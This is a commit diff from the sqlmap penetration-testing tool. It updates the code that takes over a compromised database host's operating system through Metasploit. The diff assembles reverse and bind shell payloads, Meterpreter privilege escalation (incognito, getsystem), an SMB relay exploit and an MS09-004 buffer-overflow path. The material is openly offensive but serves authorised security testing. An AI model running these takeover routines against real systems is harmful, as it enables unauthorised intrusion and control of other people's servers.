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Aligned OS takeover functionalities to recent Metasploit improvements

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This commit is contained in:
Bernardo Damele 2011-07-26 10:29:14 +00:00
parent ea00c94648
commit a2483b3bc4
2 changed files with 103 additions and 109 deletions
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134
lib/takeover/metasploit.py
View File

@ -57,11 +57,9 @@ class Metasploit:
self.payloadStr = None
self.encoderStr = None
self.payloadConnStr = None
self.resourceFile = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP()
self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
self.__msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
self.__msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
@ -72,7 +70,8 @@ class Metasploit:
3: ( "VNC", "windows/vncinject" ),
},
"linux": {
1: ( "Shell", "linux/x86/shell" ),
1: ( "Shell (default)", "linux/x86/shell" ),
2: ( "Meterpreter (beta)", "linux/x86/meterpreter" ),
}
}
@ -80,7 +79,9 @@ class Metasploit:
"windows": {
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" )
3: ( "Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http" ),
4: ( "Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https" ),
5: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" )
},
"linux": {
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
@ -114,9 +115,9 @@ class Metasploit:
}
self.__portData = {
"bind": "remote port number",
"reverse": "local port number",
}
"bind": "remote port number",
"reverse": "local port number",
}
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if Backend.isOs(OS.WINDOWS):
@ -167,22 +168,25 @@ class Metasploit:
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
def __selectEncoder(self, encode=True):
# This is always the case except for --os-bof where the user can
# choose which encoder to use. When called from --os-pwn the encoder
# is always x86/alpha_mixed - used for sys_bineval() and
# shellcodeexec
if isinstance(encode, basestring):
return encode
elif Backend.isOs(OS.WINDOWS) and encode:
elif encode:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
def __selectPayload(self):
if Backend.isOs(OS.WINDOWS) and conf.privEsc:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can be used to "
infoMsg += "escalate privileges, either via 'incognito' "
infoMsg += "extension or via 'getsystem' command"
infoMsg += "escalate privileges via 'incognito' extension, "
infoMsg += "'getsystem' command or post modules"
logger.info(infoMsg)
__payloadStr = "windows/meterpreter"
else:
__payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
@ -246,6 +250,14 @@ class Metasploit:
elif int(choice) < 1 or int(choice) > 2:
logger.warn("invalid value, it must be 1 or 2")
if self.connectionStr.startswith("reverse_http") and __payloadStr != "windows/meterpreter":
warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "")
warnMsg += "with the Meterpreter payload. Falling back to "
warnMsg += "reverse TCP"
logger.warn(warnMsg)
self.connectionStr = "reverse_tcp"
return __payloadStr
def __selectPort(self):
@ -270,7 +282,7 @@ class Metasploit:
raise sqlmapDataException, "unexpected connection type"
def __selectLhost(self):
if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
if self.connectionStr.startswith("reverse"):
message = "which is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
@ -295,20 +307,33 @@ class Metasploit:
self.portStr = self.__selectPort()
self.payloadStr = self.__selectPayload()
self.encoderStr = self.__selectEncoder(encode)
if self.payloadStr == "linux/x86/shell":
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
else:
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc
self.__cliCmd += " LPORT=%s" % self.portStr
#self.__cliCmd += " ExitOnSession=true"
if self.payloadStr == "windows/vncinject":
self.__cliCmd += " DisableCourtesyShell=1"
if self.connectionStr.startswith("bind"):
self.__cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__cliCmd += " LHOST=%s" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
self.__cliCmd += " DisableCourtesyShell=true"
self.__cliCmd += " E"
def __forgeMsfCliCmdForSmbrelay(self):
self.__prepareIngredients(encode=False)
self.__cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += " EXITFUNC=thread"
self.__cliCmd += " LPORT=%s" % self.portStr
self.__cliCmd += " SRVHOST=%s" % self.lhostStr
self.__cliCmd += " SRVPORT=%s" % self.__selectSMBPort()
if self.connectionStr.startswith("bind"):
self.__cliCmd += " RHOST=%s" % self.rhostStr
@ -319,47 +344,20 @@ class Metasploit:
self.__cliCmd += " E"
def __forgeMsfConsoleCmd(self):
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
def __forgeMsfConsoleResource(self):
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
self.__prepareIngredients(encode=False)
self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.lhostStr
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
self.__resource += "set LPORT %s\n" % self.portStr
#self.__resource += "set ExitOnSession true\n"
if self.connectionStr.startswith("bind"):
self.__resource += "set RHOST %s\n" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__resource += "set LHOST %s\n" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__resource += "exploit\n"
self.resourceFp = codecs.open(self.resourceFile, "w", UNICODE_ENCODING)
self.resourceFp.write(self.__resource)
self.resourceFp.close()
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr
#self.__payloadCmd += " ExitOnSession=true"
if self.connectionStr.startswith("reverse"):
self.__payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type"
if Backend.isOs(OS.WINDOWS) or extra == "BufferRegister=EAX":
if Backend.isOs(OS.LINUX) and conf.privEsc:
self.__payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
if extra == "BufferRegister=EAX":
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
if extra is not None:
@ -367,6 +365,16 @@ class Metasploit:
else:
self.__payloadCmd += " X > %s" % outFile
def __runMsfCliSmbrelay(self):
self.__forgeMsfCliCmdForSmbrelay()
infoMsg = "running Metasploit Framework 3 command line "
infoMsg += "interface locally, please wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc)
@ -377,13 +385,6 @@ class Metasploit:
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
def __runMsfConsole(self):
infoMsg = "running Metasploit Framework 3 console locally, please wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
def __runMsfShellcodeRemote(self):
infoMsg = "running Metasploit Framework 3 shellcode "
infoMsg += "remotely via UDF 'sys_bineval', please wait.."
@ -408,13 +409,11 @@ class Metasploit:
if not Backend.isOs(OS.WINDOWS):
return
if self.resourceFile is not None:
proc.stdin.write("sessions -l\n")
proc.stdin.write("sessions -i %s\n" % metSess)
proc.stdin.write("use espia\n")
proc.stdin.write("use incognito\n")
# NOTE: this extension freezes the connection on 64-bit systems
# This extension is loaded by default since Metasploit > 3.7
#proc.stdin.write("use priv\n")
# This extension freezes the connection on 64-bit systems
#proc.stdin.write("use sniffer\n")
proc.stdin.write("sysinfo\n")
proc.stdin.write("getuid\n")
@ -587,22 +586,17 @@ class Metasploit:
self.__initVars()
self.__randFile = "tmpu%s.txt" % randomStr(lowercase=True)
self.__forgeMsfConsoleResource()
self.__forgeMsfConsoleCmd()
self.__runMsfCliSmbrelay()
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
self.__runMsfConsole()
debugMsg = "Metasploit Framework 3 console exited with return "
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfCliProc, self.uncPathRequest)
logger.debug(debugMsg)
os.unlink(self.resourceFile)
def bof(self):
self.__runMsfCli(exitfunc="seh")

78
plugins/generic/takeover.py
View File

@ -91,39 +91,39 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
self.checkDbmsOs()
msg = "how do you want to establish the tunnel?"
msg += "\n[1] TCP: Metasploit Framework (default)"
if Backend.isOs(OS.WINDOWS):
msg = "how do you want to establish the tunnel?"
msg += "\n[1] TCP: Metasploit Framework (default)"
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
valids = ( 1, 2 )
while True:
tunnel = readInput(msg, default=1)
if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in valids:
tunnel = int(tunnel)
break
elif isinstance(tunnel, int) and tunnel in valids:
break
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
else:
valids = ( 1, )
tunnel = 1
while True:
tunnel = readInput(msg, default=1)
if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in valids:
tunnel = int(tunnel)
break
elif isinstance(tunnel, int) and tunnel in valids:
break
elif len(valids) == 1:
warnMsg = "invalid value, valid value is 1"
logger.warn(warnMsg)
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
debugMsg = "the tunnel can be established only via TCP when "
debugMsg += "the back-end DBMS is not Windows"
logger.debug(debugMsg)
if tunnel == 2 and not Backend.isOs(OS.WINDOWS):
errMsg = "icmpsh slave is only supported on Windows at "
errMsg += "the moment. The back-end database server is "
errMsg += "not. sqlmap will fallback to TCP (Metasploit)"
logger.error(errMsg)
errMsg = "icmpsh slave is only supported on Windows at "
errMsg += "the moment. The back-end database server is "
errMsg += "not. sqlmap will fallback to TCP (Metasploit)"
logger.error(errMsg)
tunnel = 1
tunnel = 1
if tunnel == 2:
isAdmin = runningAsAdmin()
@ -207,16 +207,6 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
elif not Backend.isOs(OS.WINDOWS) and conf.privEsc:
# Unset --priv-esc if the back-end DBMS underlying operating
# system is not Windows
conf.privEsc = False
warnMsg = "sqlmap does not implement any operating system "
warnMsg += "user privilege escalation technique when the "
warnMsg += "back-end DBMS underlying system is not Windows"
logger.warn(warnMsg)
elif tunnel == 2:
self.uploadIcmpshSlave(web=web)
self.icmpPwn()
@ -326,10 +316,20 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
infoMsg += "buffer overflow (MS09-004)"
logger.info(infoMsg)
self.initEnv(mandatory=False, detailed=True)
self.getRemoteTempPath()
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
self.bof()
msg = "this technique is likely to DoS the DBMS process, are you "
msg += "sure that you want to carry with the exploit? [y/N] "
inp = readInput(msg, default="N")
if inp and inp[0].lower() == "y":
dos = True
else:
dos = False
if dos:
self.initEnv(mandatory=False, detailed=True)
self.getRemoteTempPath()
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
self.bof()
def uncPathRequest(self):
errMsg = "'uncPathRequest' method must be defined "